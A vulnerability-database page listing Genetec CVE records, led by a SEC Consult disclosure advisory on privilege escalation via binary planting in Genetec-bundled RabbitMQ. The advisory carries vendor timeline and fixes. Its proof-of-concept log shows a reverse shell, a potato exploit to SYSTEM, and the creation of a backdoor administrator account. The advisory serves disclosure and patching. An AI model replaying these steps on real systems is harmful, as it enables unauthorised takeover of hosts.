Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
7 vulnerabilities by Genetec
GCVE-1988-2026-0350
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:29
VLAI
EPSS
VEX
Title
SEC Consult SA-20260608-0 :: Privilege Escalation via Binary Planting in Genetec-provided RabbitMQ in multiple Genetec products
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260608-0 >
=======================================================================
title: Privilege Escalation via Binary Planting
product: Genetec-provided RabbitMQ in multiple Genetec products
vulnerable version: Multiple products, see below.
fixed version: Multiple products, see below.
CVE number: CVE-2026-25112
impact: High
homepage:https://www.genetec.com/products/unified-security/security-center
found: 2026-03-02
by: Johannes Kruchem (Office Vienna)
Christian Hager (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Leading technology provider of business intelligence, unified physical
security, public safety, and operations. Genetec develops open-platform
software, hardware, and cloud-based services for the physical security
and public safety industry. Its flagship product, Security Center,
unifies IP-based video surveillance, access control, and automatic
license plate recognition (ALPR) into one platform. A global innovator
since 1997, Genetec is headquartered in Montreal, Canada, and serves
enterprise and government organizations via an integrated network of
resellers, integrators, and consultants in over 159 countries. Genetec
was founded on the principle of innovation and remains at the forefront
of emerging technologies that unify physical security systems."
Source:https://www.linkedin.com/company/genetec/
Business recommendation:
------------------------
The vendor provides a patch for multiple affected products which should
be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)
The installation of RabbitMQ using Genetec Security Center installer
creates a directory `C:\ProgramData\Genetec\RabbitMQ` writable for any
authenticated user. The `erl.exe` now frequently tries to execute the
not existing `handle.exe` from this directory as
`NT AUTHORITY\LOCAL SERVICE`. Placing a malicious `handle.exe` in
`C:\ProgramData\Genetec\RabbitMQ` almost immediately invokes the `handle.exe`.
Since the LOCAL SERVICE user has `SeImpersonatePrivilege`, rotten potato attacks
lead to privilege escalation to SYSTEM.
Proof of concept:
-----------------
1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)
Exploiting the LPE requires that RabbitMQ is installed via the Genetec Security
Center installer.
The "erl.exe" is looking for the executable "handle.exe" within the path
C:\ProgramData\Genetec\RabbitMQ, which does not exist. As the executable
erl.exe is running in the context of NT AUTHORITY\LOCAL SERVICE, the executable
handle.exe would also be executed in the same context. The path
C:\ProgramData\Genetec\RabbitMQ is writable for all users, which allows inserting
malicious executables as handle.exe. Planting an executable exploiting
Rotten Potato as handle.exe into C:\ProgramData\Genetec\RabbitMQ leads to privilege
escalation due to the enabled SeImpersonatePrivilege leading to SYSTEM.
[ genetec_handle_exe.png ]
Figure 1: Process explorer showing handle.exe calls
[ genetec_reverse_shell_whoami_priv.png ]
Figure 2: Established reverse shell, showing privileges including SeImpersonatePrivilege
The following listing shows the successful exploitation:
------------------------------------
PS C:\Users\...\Client> .\client.exe
[+] Listening on 0.0.0.0:9999 ...
[+] Waiting for incoming reverse shell connection ...
[+] Connection from 127.0.0.1:54674
[+] Shell session active ÔÇô type commands (exit to quit)
----------------------------------------------------
Microsoft Windows [Version 10.0.26200.7840]
(c) Microsoft Corporation. All rights reserved.
C:\ProgramData\Genetec\RabbitMQ> SigmaPotato.exe
C:\ProgramData\Genetec\RabbitMQ> whoami
nt authority\system
C:\ProgramData\Genetec\RabbitMQ> net user privesc [redacted] /ADD
The command completed successfully.
C:\ProgramData\Genetec\RabbitMQ> net localgroup Administrators privesc /ADD
The command completed successfully.
C:\ProgramData\Genetec\RabbitMQ> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
privesc
The command completed successfully.
------------------------------------
Vulnerable / tested versions:
-----------------------------
The following product has been tested by SEC Consult:
* Genetec Mission Control
The following products were affected as well according to the vendor:
* Genetec-provided RabbitMQ (< v3.13.7.19)
* Genetec Mission Control™ (< v3.4.1.0)
* Genetec Industrial IoT (IIoT) — 5.x line (< v5.5.118.0)
* Genetec Industrial IoT (IIoT) — 6.x line (< v6.0.196.0)
* Genetec Airport Operational Manager (AOM) (< v1.6)
* Genetec Restricted Security Area (RSA) Surveillance (< v5.2.1)
* Genetec Inter-System (IS) Gateway (< v1.2)
* Sipelia™ (< v2.11)
All other Genetec products are not affected.
Vendor contact timeline:
------------------------
2026-03-03: Contacting vendor through Genetec PSIRT (security () genetec com)
2026-03-03: Confirmed receipt by Genetec
2026-03-10: Vendor confirmed vulnerability. Responded already with assigned
CVE-2026-25112.
2026-03-12: Thanking vendor for professional and quick response. Asking for the
patch development timeline.
2026-03-12: Vendor responds that their SLO is 60 days for high-severity issues.
RabbitMQ prior to 4.2.3 is affected, used by multiple Genetec producs.
Vendor will also provide a workaround if immediate update is not possible.
2026-03-13: Confirming alignment of coordinated advisory disclosure, asking for a list
of affected products.
2026-03-13: Comprehensive list will be shared when all details are finalized.
2026-03-25: Vendor informs us that they are still actively working on it.
2026-04-07: Vendor informs us that they are still actively working on it.
2026-04-21: Vendor informs us that they are still actively working on it.
2026-04-23: Asking whether affected products are already known. Vendor will
provide additional information when patched versions are confirmed.
2026-05-22: Vendor provides detailed list of affected products and version
numbers as well as hot fix information & workaround. The CVE
will be published on 25th May.
2026-05-26: Informing vendor that we will publish in in June because of public
holidays.
Vendor provides published CVE URL as well as advisory.
2026-06-03: Informing vendor about planned SEC Consult advisory release for 8th June.
2026-06-08: Coordinated release of advisory.
Solution:
---------
The vendor provides updated versions for multiple products as well as a hotfix.
* For new deployments, Genetec-provided RabbitMQ 3.13.7.19 is available.
New deployments can use the Genetec-provided RabbitMQ 3.13.7.19 standalone installer
safely without needing to run the mitigation utility.
* For existing deployments, customers running an affected version should execute
the mitigation utility (SecurityUtility_CVE-2026-25112_RabbitMQ.exe) available in GTAP
as soon as possible.
Genetec provided the following software versions which mitigate the issue:
* Genetec-provided RabbitMQ (3.13.7.19 and later)
* Genetec Mission Control™ (3.4.1.0 and later)
* Genetec Industrial IoT (IIoT) — 5.x line (5.5.118.0 and later)
* Genetec Industrial IoT (IIoT) — 6.x line (6.0.196.0 and later)
* Genetec Airport Operational Manager (AOM) (1.6 and later)
* Genetec Restricted Security Area (RSA) (5.2.1 and later)
* Genetec Inter-System (IS) Gateway (1.2 and later)
* Sipelia™ (2.11 and later (RabbitMQ no longer used starting from v2.11)
A hotfix is available for all affected products:
SecurityUtility_CVE-2026-25112_RabbitMQ.exe
https://resources.genetec.com/security-advisories/vulnerability-affecting-rabbitmq-deployment-in-genetec-products
Workaround:
-----------
If customers cannot apply the mitigation utility in a timely fashion, they should
restrict access to the following folder to admin users: ProgramData\Genetec\RabbitMQ
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:http://blog.sec-consult.com
X:https://x.com/sec_consult
EOF C. Hager, J. Kruchem / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
13 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Genetec | RabbitMQ in multiple Genetec products |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0350 (this record)
- related CVE-2026-25112
{
"containers": {
"cna": {
"affected": [
{
"product": "RabbitMQ in multiple Genetec products",
"vendor": "Genetec",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260608-0 \u003e\n=======================================================================\n title: Privilege Escalation via Binary Planting\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Genetec-provided RabbitMQ in multiple Genetec products\n vulnerable version: Multiple products, see below.\n\u00a0 \u00a0 \u00a0 fixed version: Multiple products, see below.\n CVE number: CVE-2026-25112\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: High\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0homepage:https://www.genetec.com/products/unified-security/security-center\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-03-02\n by: Johannes Kruchem (Office Vienna)\n Christian Hager (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Leading technology provider of business intelligence, unified physical\nsecurity, public safety, and operations. Genetec develops open-platform\nsoftware, hardware, and cloud-based services for the physical security\nand public safety industry. Its flagship product, Security Center,\nunifies IP-based video surveillance, access control, and automatic\nlicense plate recognition (ALPR) into one platform. A global innovator\nsince 1997, Genetec is headquartered in Montreal, Canada, and serves\nenterprise and government organizations via an integrated network of\nresellers, integrators, and consultants in over 159 countries. Genetec\nwas founded on the principle of innovation and remains at the forefront\nof emerging technologies that unify physical security systems.\"\n\nSource:https://www.linkedin.com/company/genetec/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch for multiple affected products which should\nbe installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)\nThe installation of RabbitMQ using Genetec Security Center installer\ncreates a directory `C:\\ProgramData\\Genetec\\RabbitMQ` writable for any\nauthenticated user. The `erl.exe` now frequently tries to execute the\nnot existing `handle.exe` from this directory as\n`NT AUTHORITY\\LOCAL SERVICE`. Placing a malicious `handle.exe` in\n`C:\\ProgramData\\Genetec\\RabbitMQ` almost immediately invokes the `handle.exe`.\nSince the LOCAL SERVICE user has `SeImpersonatePrivilege`, rotten potato attacks\nlead to privilege escalation to SYSTEM.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)\nExploiting the LPE requires that RabbitMQ is installed via the Genetec Security\nCenter installer.\n\nThe \"erl.exe\" is looking for the executable \"handle.exe\" within the path\nC:\\ProgramData\\Genetec\\RabbitMQ, which does not exist. As the executable\nerl.exe is running in the context of NT AUTHORITY\\LOCAL SERVICE, the executable\nhandle.exe would also be executed in the same context. The path\nC:\\ProgramData\\Genetec\\RabbitMQ is writable for all users, which allows inserting\nmalicious executables as handle.exe. Planting an executable exploiting\nRotten Potato as handle.exe into C:\\ProgramData\\Genetec\\RabbitMQ leads to privilege\nescalation due to the enabled SeImpersonatePrivilege leading to SYSTEM.\n\n[ genetec_handle_exe.png ]\nFigure 1: Process explorer showing handle.exe calls\n\n[ genetec_reverse_shell_whoami_priv.png ]\nFigure 2: Established reverse shell, showing privileges including SeImpersonatePrivilege\n\n\nThe following listing shows the successful exploitation:\n------------------------------------\nPS C:\\Users\\...\\Client\u003e .\\client.exe\n[+] Listening on 0.0.0.0:9999 ...\n[+] Waiting for incoming reverse shell connection ...\n\n[+] Connection from 127.0.0.1:54674\n[+] Shell session active \u00d4\u00c7\u00f4 type commands (exit to quit)\n----------------------------------------------------\n\nMicrosoft Windows [Version 10.0.26200.7840]\n(c) Microsoft Corporation. All rights reserved.\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e SigmaPotato.exe\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e whoami\nnt authority\\system\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e net user privesc [redacted] /ADD\nThe command completed successfully.\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e net localgroup Administrators privesc /ADD\nThe command completed successfully.\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e net localgroup Administrators\nAlias name Administrators\nComment Administrators have complete and unrestricted access to the computer/domain\n\nMembers\n\n-------------------------------------------------------------------------------\nAdministrator\nprivesc\nThe command completed successfully.\n------------------------------------\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following product has been tested by SEC Consult:\n* Genetec Mission Control\n\nThe following products were affected as well according to the vendor:\n\n* Genetec-provided RabbitMQ (\u003c v3.13.7.19)\n* Genetec Mission Control\u2122 (\u003c v3.4.1.0)\n* Genetec Industrial IoT (IIoT) \u2014 5.x line (\u003c v5.5.118.0)\n* Genetec Industrial IoT (IIoT) \u2014 6.x line (\u003c v6.0.196.0)\n* Genetec Airport Operational Manager (AOM) (\u003c v1.6)\n* Genetec Restricted Security Area (RSA) Surveillance (\u003c v5.2.1)\n* Genetec Inter-System (IS) Gateway (\u003c v1.2)\n* Sipelia\u2122 (\u003c v2.11)\n\nAll other Genetec products are not affected.\n\n\nVendor contact timeline:\n------------------------\n2026-03-03: Contacting vendor through Genetec PSIRT (security () genetec com)\n2026-03-03: Confirmed receipt by Genetec\n2026-03-10: Vendor confirmed vulnerability. Responded already with assigned\n CVE-2026-25112.\n2026-03-12: Thanking vendor for professional and quick response. Asking for the\n patch development timeline.\n2026-03-12: Vendor responds that their SLO is 60 days for high-severity issues.\n RabbitMQ prior to 4.2.3 is affected, used by multiple Genetec producs.\n Vendor will also provide a workaround if immediate update is not possible.\n2026-03-13: Confirming alignment of coordinated advisory disclosure, asking for a list\n of affected products.\n2026-03-13: Comprehensive list will be shared when all details are finalized.\n2026-03-25: Vendor informs us that they are still actively working on it.\n2026-04-07: Vendor informs us that they are still actively working on it.\n2026-04-21: Vendor informs us that they are still actively working on it.\n2026-04-23: Asking whether affected products are already known. Vendor will\n provide additional information when patched versions are confirmed.\n2026-05-22: Vendor provides detailed list of affected products and version\n numbers as well as hot fix information \u0026 workaround. The CVE\n will be published on 25th May.\n2026-05-26: Informing vendor that we will publish in in June because of public\n holidays.\n Vendor provides published CVE URL as well as advisory.\n2026-06-03: Informing vendor about planned SEC Consult advisory release for 8th June.\n2026-06-08: Coordinated release of advisory.\n\n\nSolution:\n---------\nThe vendor provides updated versions for multiple products as well as a hotfix.\n\n* For new deployments, Genetec-provided RabbitMQ 3.13.7.19 is available.\n New deployments can use the Genetec-provided RabbitMQ 3.13.7.19 standalone installer\n safely without needing to run the mitigation utility.\n\n* For existing deployments, customers running an affected version should execute\n the mitigation utility (SecurityUtility_CVE-2026-25112_RabbitMQ.exe) available in GTAP\n as soon as possible.\n\nGenetec provided the following software versions which mitigate the issue:\n\n* Genetec-provided RabbitMQ (3.13.7.19 and later)\n* Genetec Mission Control\u2122 (3.4.1.0 and later)\n* Genetec Industrial IoT (IIoT) \u2014 5.x line (5.5.118.0 and later)\n* Genetec Industrial IoT (IIoT) \u2014 6.x line (6.0.196.0 and later)\n* Genetec Airport Operational Manager (AOM) (1.6 and later)\n* Genetec Restricted Security Area (RSA) (5.2.1 and later)\n* Genetec Inter-System (IS) Gateway (1.2 and later)\n* Sipelia\u2122 (2.11 and later (RabbitMQ no longer used starting from v2.11)\n\nA hotfix is available for all affected products:\nSecurityUtility_CVE-2026-25112_RabbitMQ.exe\n\nhttps://resources.genetec.com/security-advisories/vulnerability-affecting-rabbitmq-deployment-in-genetec-products\n\n\nWorkaround:\n-----------\nIf customers cannot apply the mitigation utility in a timely fashion, they should\nrestrict access to the following folder to admin users: ProgramData\\Genetec\\RabbitMQ\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF C. Hager, J. Kruchem / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:29:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/2"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jun/2"
},
{
"url": "http://blog.sec-consult.com"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://resources.genetec.com/security-advisories/vulnerability-affecting-rabbitmq-deployment-in-genetec-products"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.genetec.com/products/unified-security/security-center"
},
{
"url": "https://www.linkedin.com/company/genetec/"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jun/2"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20260608-0 :: Privilege Escalation via Binary Planting in Genetec-provided RabbitMQ in multiple Genetec products",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-25112",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0350",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/2",
"automated": true,
"contentSha256": "9f7b22e016bf62cb04d3dcfaf83ba3e671e316eaef3bb7ab7b8f194a8baa08f1",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/2",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-06-08T10:19:13Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0350"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T07:55:57Z",
"dateUpdated": "2026-09-11T11:29:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0350"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-1789 (GCVE-0-2025-1789)
Vulnerability from nvd – Published: 2026-02-24 18:47 – Updated: 2026-02-26 14:44
VLAI
EPSS
VEX
Summary
Local privilege escalation in Genetec Update Service. An authenticated, low-privileged, Windows user could exploit this vulnerability to gain elevated privileges on the affected system.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-26 04:56 UTC
CWE
- CWE-276 - Incorrect Default Permissions
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Genetec Inc. | Genetec Update Service |
Affected:
<2.10.600
(semver)
Unaffected: >=2.10.600 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-1789",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-26T04:56:04.010019Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-26T14:44:07.658Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Windows"
],
"product": "Genetec Update Service",
"vendor": "Genetec Inc.",
"versions": [
{
"status": "affected",
"version": "\u003c2.10.600",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "\u003e=2.10.600",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Rutger Flohil"
}
],
"descriptions": [
{
"lang": "en",
"value": "Local privilege escalation in Genetec Update Service. An authenticated, low-privileged, Windows user could exploit this vulnerability to gain elevated privileges on the affected system."
}
],
"impacts": [
{
"capecId": "CAPEC-233",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-233: Privilege Escalation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/CR:H/IR:H/AR:H/MVC:H/MVI:H/MVA:H/MSI:H/MSA:H/S:P/AU:N/V:C",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "Incorrect Default Permissions",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T18:47:24.913Z",
"orgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"shortName": "Genetec"
},
"references": [
{
"url": "https://techdocs.genetec.com/r/en-US/Security-Updates-for-GenetecTM-Update-Service-2.10/Resolved-vulnerabilities-in-Genetec-Update-Service-2.10"
}
],
"solutions": [
{
"lang": "en",
"value": "This issue is fixed in Genetec Update Service 2.10.600 and all later versions. Internet connected Genetec Update Service will automatically update themselves."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"assignerShortName": "Genetec",
"cveId": "CVE-2025-1789",
"datePublished": "2026-02-24T18:47:24.913Z",
"dateReserved": "2025-02-28T17:07:08.574Z",
"dateUpdated": "2026-02-26T14:44:07.658Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-1787 (GCVE-0-2025-1787)
Vulnerability from nvd – Published: 2026-02-24 18:44 – Updated: 2026-02-26 14:44
VLAI
EPSS
VEX
Summary
Local admin could to leak information from the Genetec Update Service configuration web page. An authenticated, admin privileged, Windows user could exploit this vulnerability to gain elevated privileges in the Genetec Update Service. Could be combined with CVE-2025-1789 to achieve low privilege escalation.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-26 04:56 UTC
CWE
- CWE-346 - Origin Validation Error
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Genetec Inc. | Genetec Update Service |
Affected:
<2.10.600
(semver)
Unaffected: >=2.10.600 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-1787",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-26T04:56:05.875817Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-26T14:44:07.839Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Windows"
],
"product": "Genetec Update Service",
"vendor": "Genetec Inc.",
"versions": [
{
"status": "affected",
"version": "\u003c2.10.600",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "\u003e=2.10.600",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Rutger Flohil"
}
],
"descriptions": [
{
"lang": "en",
"value": "Local admin could to leak information from the Genetec Update Service configuration web page. An authenticated, admin privileged, Windows user could exploit this vulnerability to gain elevated privileges in the Genetec Update Service. Could be combined with CVE-2025-1789 to achieve low privilege escalation."
}
],
"impacts": [
{
"capecId": "CAPEC-200",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-200: Removal of filters: Input filters, output filters, data masking"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/CR:H/IR:H/AR:H/MVC:H/MVI:H/MVA:H/MSI:H/MSA:H/S:P/AU:N/V:C",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-346",
"description": "CWE-346: Origin Validation Error",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T18:44:36.705Z",
"orgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"shortName": "Genetec"
},
"references": [
{
"url": "https://techdocs.genetec.com/r/en-US/Security-Updates-for-GenetecTM-Update-Service-2.10/Resolved-vulnerabilities-in-Genetec-Update-Service-2.10"
}
],
"solutions": [
{
"lang": "en",
"value": "This issue is fixed in Genetec Update Service 2.10.600 and all later versions. Internet connected Genetec Update Service will automatically update themselves."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"assignerShortName": "Genetec",
"cveId": "CVE-2025-1787",
"datePublished": "2026-02-24T18:44:36.705Z",
"dateReserved": "2025-02-28T17:05:57.628Z",
"dateUpdated": "2026-02-26T14:44:07.839Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2023-1522 (GCVE-0-2023-1522)
Vulnerability from nvd – Published: 2023-04-05 18:51 – Updated: 2025-02-12 15:45
VLAI
EPSS
VEX
Summary
SQL Injection in the Hardware Inventory report of Security Center 5.11.2.
Severity
8.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-02-12 15:41 UTC
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Genetec Inc. | Genetec Security Center |
Affected:
5.11.2
|
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-02T05:49:11.692Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://www.genetec.com/blog/data-protection/high-severity-vulnerability-affecting-the-hardware-inventory-report-task-of-security-center"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2023-1522",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-02-12T15:41:57.240276Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-02-12T15:45:26.199Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
